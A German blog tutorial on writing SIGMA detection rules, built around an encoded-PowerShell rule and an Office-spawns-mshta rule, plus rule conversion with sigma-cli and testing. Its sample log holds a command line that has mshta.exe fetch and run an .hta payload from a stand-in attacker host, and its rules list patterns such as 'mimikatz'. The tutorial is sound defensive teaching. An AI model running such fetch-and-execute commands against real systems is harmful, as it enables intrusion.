SIEM Rules & Detection2. Februar 2026 · 5 Min. Lesezeit

Deine erste SIGMA-Rule schreiben: Von IOC zu Detektion

Einleitung

Eine gute Detection-Regel beginnt mit einer simplen Frage: „Wie sieht dieses Verhalten in meinem Log aus?“ SIGMA gibt dir das Vokabular, diese Antwort SIEM-unabhängig aufzuschreiben. Dieser Artikel führt dich durch die Anatomie einer SIGMA-Regel und zeigt dir Schritt für Schritt, wie du aus einem konkreten IOC eine produktiv nutzbare Detection baust.

Warum das Thema wichtig ist

Detection-Regeln gehörten lange in den Käfig des jeweiligen SIEM-Herstellers. Eine Splunk-SPL-Regel ließ sich nicht in Elastic kopieren, eine Sentinel-KQL-Query nicht in QRadar. SIGMA löst dieses Problem: Eine herstellerunabhängige YAML-Notation, die per Konverter in das jeweilige SIEM-spezifische Query-Format übersetzt wird. Das macht Detection-Wissen teilbar, versionierbar und unabhängig vom Tool-Stack.

Für KMU bedeutet das: Du kannst auf das gewaltige öffentliche SIGMA-Repository (mehr als 3.000 Regeln) zurückgreifen, statt jede Erkennung selbst zu erfinden. Und wenn du dein SIEM wechselst, gehen deine Detections nicht verloren.

Anatomie einer SIGMA-Regel

Minimale SIGMA-Regel:

title: Verdächtige PowerShell-Ausführung mit Encoded Command
id: 8a1c2d3f-1234-5678-9abc-def012345678
status: stable
description: Erkennt PowerShell-Aufrufe mit -EncodedCommand Parameter
author: Mike
date: 2026-05-02
references:
  - https://attack.mitre.org/techniques/T1059/001/
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
      - '-e '
  condition: selection
falsepositives:
  - Legitime Admin-Skripte mit Base64-Encoding
level: high

Die wichtigsten Felder:

title / id / description – Metadaten, die id muss eindeutig (UUID) sein
logsource – worauf die Regel matcht (product, category, service)
detection – die eigentliche Logik mit selection-Blöcken und condition
level – Severity (informational / low / medium / high / critical)
falsepositives – bekannte Fehlalarm-Quellen
tags – MITRE ATT&CK-Mapping (sehr empfohlen)

Detection-Block: Selektoren und Condition

Selektoren sind benannte Bedingungen, die du in condition zu Boolean-Ausdrücken kombinierst.

Modifier (die mächtigste Funktion)

detection:
  selection:
    CommandLine|contains: 'mimikatz'         # Substring
    Image|endswith: '\rundll32.exe'          # Suffix-Match
    User|startswith: 'svc_'                  # Prefix-Match
    EventID|re: '^46(24|25|48)$'             # Regex
    SourceIp|cidr: '10.0.0.0/8'              # CIDR-Match
    Hashes|contains|all:                     # ALLE müssen matchen
      - 'MD5='
      - 'SHA256='

Condition-Beispiele

# Einfacher Match
condition: selection

# Negation
condition: selection and not filter

# Mindestanzahl (für Brute-Force-Detection)
condition: selection | count() by SourceIp > 10

# Mehrere Selektoren
condition: 1 of selection_*

Praxis-Beispiel: Vom IOC zur Regel

Ausgangslage: Threat-Intel meldet eine neue Malware-Kampagne. Der initiale Loader wird über ein Office-Makro ausgeführt und startet mshta.exe mit einer URL als Parameter (T1218.005).

Schritt 1: Verstehen, wie das im Log aussieht.

In einem Sysmon-Event-1 würde das so aussehen:

ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Image: C:\Windows\System32\mshta.exe
CommandLine: mshta.exe https://evil.example.com/payload.hta

Schritt 2: Selektoren bauen.

detection:
  office_parent:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\powerpnt.exe'
      - '\outlook.exe'
  mshta_child:
    Image|endswith: '\mshta.exe'
  url_arg:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  condition: office_parent and mshta_child and url_arg

Schritt 3: False Positives durchdenken.

Erlaubte Office-zu-mshta-Aufrufe gibt es kaum. URLs in der Command Line sind in legitimen Szenarien noch seltener. Severity: high.

Schritt 4: Komplette Regel.

title: Office spawnt mshta mit URL-Argument
id: a3b1c2d4-5678-9012-3456-789012345abc
status: experimental
description: |
  Detektiert Office-Anwendungen, die mshta.exe mit einer URL aufrufen –
  klassisches Pattern für Macro-basierte Initial-Access-Loader.
author: Mike
date: 2026-05-02
references:
  - https://attack.mitre.org/techniques/T1218/005/
  - https://lolbas-project.github.io/lolbas/Binaries/Mshta/
tags:
  - attack.execution
  - attack.defense_evasion
  - attack.t1218.005
  - attack.t1204.002
logsource:
  product: windows
  category: process_creation
detection:
  office_parent:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\powerpnt.exe'
      - '\outlook.exe'
  mshta_child:
    Image|endswith: '\mshta.exe'
  url_arg:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  condition: office_parent and mshta_child and url_arg
falsepositives:
  - Custom Office-Add-Ins mit legitimer mshta-Nutzung (sehr selten)
level: high

SIGMA in dein SIEM bringen: Konverter

Mit sigma-cli (oder dem älteren sigmac) konvertierst du in dein Ziel-Format:

# Installation
pip install sigma-cli

# Backend installieren (z. B. Splunk, Elastic, Sentinel)
sigma plugin install splunk
sigma plugin install elasticsearch

# Konvertierung
sigma convert -t splunk office_mshta.yml
sigma convert -t lucene office_mshta.yml
sigma convert -t microsoft365defender office_mshta.yml

Output (Splunk-SPL, gekürzt):

ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe" OR ...
AND Image="*\\mshta.exe"
AND (CommandLine="*http://*" OR CommandLine="*https://*")

Test-Strategie

Eine Regel, die nicht getestet wurde, ist eine Behauptung – keine Detection.

Atomic Red Team ausführen: Invoke-AtomicTest T1218.005
Custom-Test: Office-Doc mit Macro, das mshta.exe https://example.com startet
Prüfen: Feuert die Regel? Gibt es False Positives in 24-h-Backlog?
Tunen, dokumentieren, in Production schalten

Detection-as-Code: SIGMA in Git

Behandle deine Regeln wie Code:

detection-rules/
├── windows/
│   ├── process_creation/
│   │   ├── office_mshta.yml
│   │   └── powershell_encoded.yml
│   └── account_management/
├── linux/
└── network/

CI-Pipeline mit:

sigma check (Linting)
sigma convert (Konverter-Test gegen alle Ziel-Backends)
Optional: Automatischer Push ins SIEM

Praxis-Checkliste

SIGMA-Spec gelesen (github.com/SigmaHQ/sigma)
sigma-cli installiert und ein Backend für dein SIEM eingerichtet
Erste eigene Regel auf Basis eines konkreten IOCs geschrieben
MITRE-ATT&CK-Tags pro Regel hinterlegt
False Positives dokumentiert (jede Regel braucht einen falsepositives-Block)
Test-Pattern via Atomic Red Team oder manueller Trigger ausgeführt
Regeln in Git versioniert
Public SIGMA-Repo als Inspirationsquelle bookmarken
Quartalsweise: Tuning-Review – False-Positive-Rate, Hit-Rate

Fazit

SIGMA ist nicht kompliziert – die Lernkurve ist eine Stunde. Was du investierst, zahlst du mehrfach zurück: portable Detections, ein riesiges Public-Repository als Startpunkt, ein gemeinsames Vokabular im Team. Schreib deine erste Regel auf Basis eines IOCs, das du gerade gesehen hast – nicht auf Basis eines abstrakten Beispiels. Die nächste schreibt sich dann fast von alleine.

Wenn du tiefer einsteigen willst: Im Newsletter zeige ich jeden Monat neue SIGMA-Rules, Test-Strategien und Tuning-Tipps. Trag dich ein.